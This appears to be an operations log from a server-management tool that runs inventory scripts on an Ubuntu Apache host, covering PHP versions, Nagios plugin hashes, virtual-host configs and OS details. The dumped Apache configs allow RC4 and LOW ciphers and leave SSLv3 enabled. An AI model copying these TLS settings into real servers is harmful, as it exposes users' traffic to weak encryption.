temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-02-10 12:14:41: 

chmod 755 /tmp/pkp531097; /tmp/pkp531097; rm /tmp/pkp531097

2026-02-10 12:14:41: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-02-10 12:14:41: 

PUT: /tmp/pkp324633

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-02-10 12:14:41: 

chmod 755 /tmp/pkp324633; /tmp/pkp324633; rm /tmp/pkp324633

2026-02-10 12:14:42: 


[php8.1]
php=/usr/bin/php8.1
fpm=
version=8.1.34


2026-02-10 12:14:42: 

PUT: /tmp/pkp518736

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-02-10 12:14:42: 

chmod 755 /tmp/pkp518736; /tmp/pkp518736; rm /tmp/pkp518736

2026-02-10 12:14:42: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_dns)= f36ea60a77b3845b00b537996edd416b
bin(/usr/local/nagios/libexec/check_load)= 690e9d9fe6bac28dfa32ee29d85fb68f
bin(/usr/local/nagios/libexec/check_log)= 74401f254cd3b3b9238b9b71d362ec50
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_jabber)= 6c35a94070ae33dd4f4c3bc14f90ae91
bin(/usr/local/nagios/libexec/check_ups)= 9121214aae62b2fc8d025112166fee75
bin(/usr/local/nagios/libexec/check_sensors)= 4694b2d104a9c9c1d500404e08810ab2
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 3599b505059ecf7a1838782dae75d82f
bin(/usr/local/nagios/libexec/check_clamd)= 6c35a94070ae33dd4f4c3bc14f90ae91
bin(/usr/local/nagios/libexec/check_dhcp)= 46ef0ab7dddc40f3a4ba437015632d6e
bin(/usr/local/nagios/libexec/check_imap)= 6c35a94070ae33dd4f4c3bc14f90ae91
bin(/usr/local/nagios/libexec/check_cluster)= 90646721740cf936013a95e90a0fd6a5
bin(/usr/local/nagios/libexec/check_disk)= 8d4292d545bc1d3c59088599ba1a1c73
bin(/usr/local/nagios/libexec/check_apt)= d50991036e497ef05f63ed11556f809c
bin(/usr/local/nagios/libexec/check_spop)= 6c35a94070ae33dd4f4c3bc14f90ae91
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_ssh)= 68b0e0dabaa3953f78c29e156959d5d6
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_oracle)= 9017feb302cac9c1882dd3d2a7371f68
bin(/usr/local/nagios/libexec/check_time)= 739cc0f76a81fa747059b1c1eabe1cd3
bin(/usr/local/nagios/libexec/check_nntps)= 6c35a94070ae33dd4f4c3bc14f90ae91
bin(/usr/local/nagios/libexec/check_pop)= 6c35a94070ae33dd4f4c3bc14f90ae91
bin(/usr/local/nagios/libexec/check_nt)= 02470ec5a869b374d862024b4366f09a
bin(/usr/local/nagios/libexec/check_nwstat)= d440b298378741acf3d727852c9e728a
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_ping)= 89a722035629d65064a774f123a763be
bin(/usr/local/nagios/libexec/check_icmp)= 1e8364e24ada4251e88ee6f6856f69af
bin(/usr/local/nagios/libexec/check_wave)= 588c42d881cec26eea20887eb7623192
bin(/usr/local/nagios/libexec/check_file_age)= d45ede358999e4b9a7784006ca507715
bin(/usr/local/nagios/libexec/check_overcr)= 20b4a73990767c7088c85a59b557a216
bin(/usr/local/nagios/libexec/check_ide_smart)= 8f92a1b90afcf688b2f36db19f79660e
bin(/usr/local/nagios/libexec/check_simap)= 6c35a94070ae33dd4f4c3bc14f90ae91
bin(/usr/local/nagios/libexec/check_ntp_peer)= 6b560dbf5447147f995008d2c17b138b
bin(/usr/local/nagios/libexec/check_ntp)= d7b3b55800af8e834e3f3070d4b873c9
bin(/usr/local/nagios/libexec/check_ntp_time)= 5e5a91f4e1c2c2e0bf8947202ef1e04e
bin(/usr/local/nagios/libexec/check_ftp)= 6c35a94070ae33dd4f4c3bc14f90ae91
bin(/usr/local/nagios/libexec/check_http)= 285c5d948f429d2632a6558e418a93af
bin(/usr/local/nagios/libexec/check_users)= 13affb38feebd92a53a83ddd49343a55
bin(/usr/local/nagios/libexec/check_dig)= d15b423ab4af48e2b255d3c573f5f801
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_tcp)= 6c35a94070ae33dd4f4c3bc14f90ae91
bin(/usr/local/nagios/libexec/check_ircd)= eb49495402862ca1099bdfd818306243
bin(/usr/local/nagios/libexec/check_ssl_certificate)= cad7d899ff9dd6501ddf03d18895b5c2
bin(/usr/local/nagios/libexec/check_flexlm)= 1dea6dadb259a5b53aeb31f64650ffb1
bin(/usr/local/nagios/libexec/check_real)= be67a0f8be8cce89d830f03ebd8320b6
bin(/usr/local/nagios/libexec/check_rpc)= 55ecb23b0cecfbdae0d6992bafa076e7
bin(/usr/local/nagios/libexec/check_ifstatus)= 56e28d6c53150a0c44f7e787d85b7214
bin(/usr/local/nagios/libexec/check_disk_smb)= dd9ec10a3f651d4bb85d452e8a001408
bin(/usr/local/nagios/libexec/check_dummy)= da869cd42522597cad8c5ec5de24450c
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 4da353c3a6a228141d0daa5bd0a6e171
bin(/usr/local/nagios/libexec/check_ssmtp)= 6c35a94070ae33dd4f4c3bc14f90ae91
bin(/usr/local/nagios/libexec/check_uptime)= bbf847ce90c432ab9e07a6797c27b3a7
bin(/usr/local/nagios/libexec/check_nntp)= 6c35a94070ae33dd4f4c3bc14f90ae91
bin(/usr/local/nagios/libexec/check_procs)= 584bf9b108dc0d6837a82509368d6eda
bin(/usr/local/nagios/libexec/check_mrtg)= 1626b9a4afc6287fc70f977db01d5750
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_udp)= 6c35a94070ae33dd4f4c3bc14f90ae91
bin(/usr/local/nagios/libexec/check_breeze)= 543a2238e7ae9adcb040b2a635b6ce81
bin(/usr/local/nagios/libexec/check_nagios)= b4b0142a26c87eee30ced1bff7502d12
bin(/usr/local/nagios/libexec/check_smtp)= 8c0b0d076a3df62472a3e74452df339e
bin(/usr/local/nagios/libexec/check_by_ssh)= f60f2a199a1464921a7ff1eaeb7907f7
bin(/usr/local/nagios/libexec/check_mailq)= b1a6343b9f983e685559dd629c5242cf
bin(/usr/local/nagios/libexec/check_swap)= 4fe57f7a2c1786dbb696204e504504e7


2026-02-10 12:14:42: 

PUT: /tmp/pkp249320

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-02-10 12:14:42: 

chmod 755 /tmp/pkp249320; /tmp/pkp249320; rm /tmp/pkp249320

2026-02-10 12:14:42: 


status=ok


2026-02-10 12:14:42: 

PUT: /tmp/pkp420457

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-10 12:14:42: 

chmod 755 /tmp/pkp420457; /tmp/pkp420457; rm /tmp/pkp420457

2026-02-10 12:14:42: 
2026-02-10 12:14:42: 

PUT: /tmp/pkp650670

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/hopeinstoughton_text_org.conf')
    show_file('/etc/apache2/sites-available/hopeinstoughton_list_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-10 12:14:42: 

chmod 755 /tmp/pkp650670; /tmp/pkp650670; rm /tmp/pkp650670

2026-02-10 12:14:42: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_text_org.conf	1461

<VirtualHost *:80>
    ServerName	text.hopeinstoughton.org
    ServerAlias	sms.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_text
    <Directory /var/www/hopeinstoughton_text>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/text_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/text_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	text.hopeinstoughton.org
    ServerAlias	sms.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt
    DocumentRoot	/var/www/hopeinstoughton_text
    <Directory /var/www/hopeinstoughton_text>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/text_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/text_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_list_org.conf	1431

<VirtualHost *:80>
    ServerName	list.hopeinstoughton.org
    ServerAlias	list.stoughton.link
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_list/public
    <Directory /var/www/hopeinstoughton_list>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/list_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/list_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	list.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt
    DocumentRoot	/var/www/hopeinstoughton_list/public
    <Directory /var/www/hopeinstoughton_list>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/list_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/list_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







(gzipped output)


MD5(/etc/apache2/ports.conf)= a961f23471d985c2b819b652b7f64321
MD5(/etc/apache2/apache2.conf)= 20589b50379161ebc8cb35f761af2646
MD5(/etc/apache2/sites-available/hostz_venus_org.conf)= b36c9c0670ddcb50ffe0eb79880b3bc9
MD5(/etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt)= a1dde38c828bab91f8bff730951977b7
MD5(/etc/apache2/sites-available/hopeinstoughton_text_org.conf)= 12d10073958b2a5ecb9033981add7b2a
MD5(/etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt)= ede93ed13a79ab7549e31f6bf6aaad9d
MD5(/etc/apache2/sites-available/hopeinstoughton_list_org.conf)= f628b84461c09b4cf406d5a8b2016230
MD5(/etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt)= b95c03b68c6f492817888bb6da92b3e7
MD5(/etc/apache2/sites-available/000-default.conf)= b9beca0993b04e45ddee26e70dee35ad
MD5(/etc/apache2/sites-available/default-ssl.conf)= 801f4c746a88b4228596cb260a4220c4
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= 2cdb743ad6a2235bb4fe70ce1aaaa664
link(/etc/apache2/sites-enabled/hostz_venus_org.conf)= /etc/apache2/sites-available/hostz_venus_org.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf)= /etc/apache2/sites-available/hopeinstoughton_text_org.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf)= /etc/apache2/sites-available/hopeinstoughton_list_org.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf


2026-02-10 12:16:56: Establishing a connection
2026-02-10 12:16:57: Performing Server Status
2026-02-10 12:16:57: 

PUT: /tmp/pkp981197

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-02-10 12:16:57: 

chmod 755 /tmp/pkp981197; /tmp/pkp981197; rm /tmp/pkp981197

2026-02-10 12:16:57: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
bookworm/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=22.04
DISTRIB_CODENAME=jammy
DISTRIB_DESCRIPTION="Ubuntu 22.04.5 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 22.04.5 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.5 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
venus

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 5.15.0-168-generic



2026-02-10 12:16:57: 

PUT: /tmp/pkp360630

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-02-10 12:16:57: 

chmod 755 /tmp/pkp360630; /tmp/pkp360630; rm /tmp/pkp360630

2026-02-10 12:16:57: 


[apache2]
Server version: Apache/2.4.52 (Ubuntu)
Server built:   2025-12-09T15:50:28
Server's Module Magic Number: 20120211:126
Server loaded:  APR 1.7.0, APR-UTIL 1.6.1
Compiled using: APR 1.7.0, APR-UTIL 1.6.1
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 2019
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root        2019  0.0  0.9 259020 38924 ?        Ss   Feb05   0:25 /usr/sbin/apache2 -k start
[modules]
Loaded Modules:
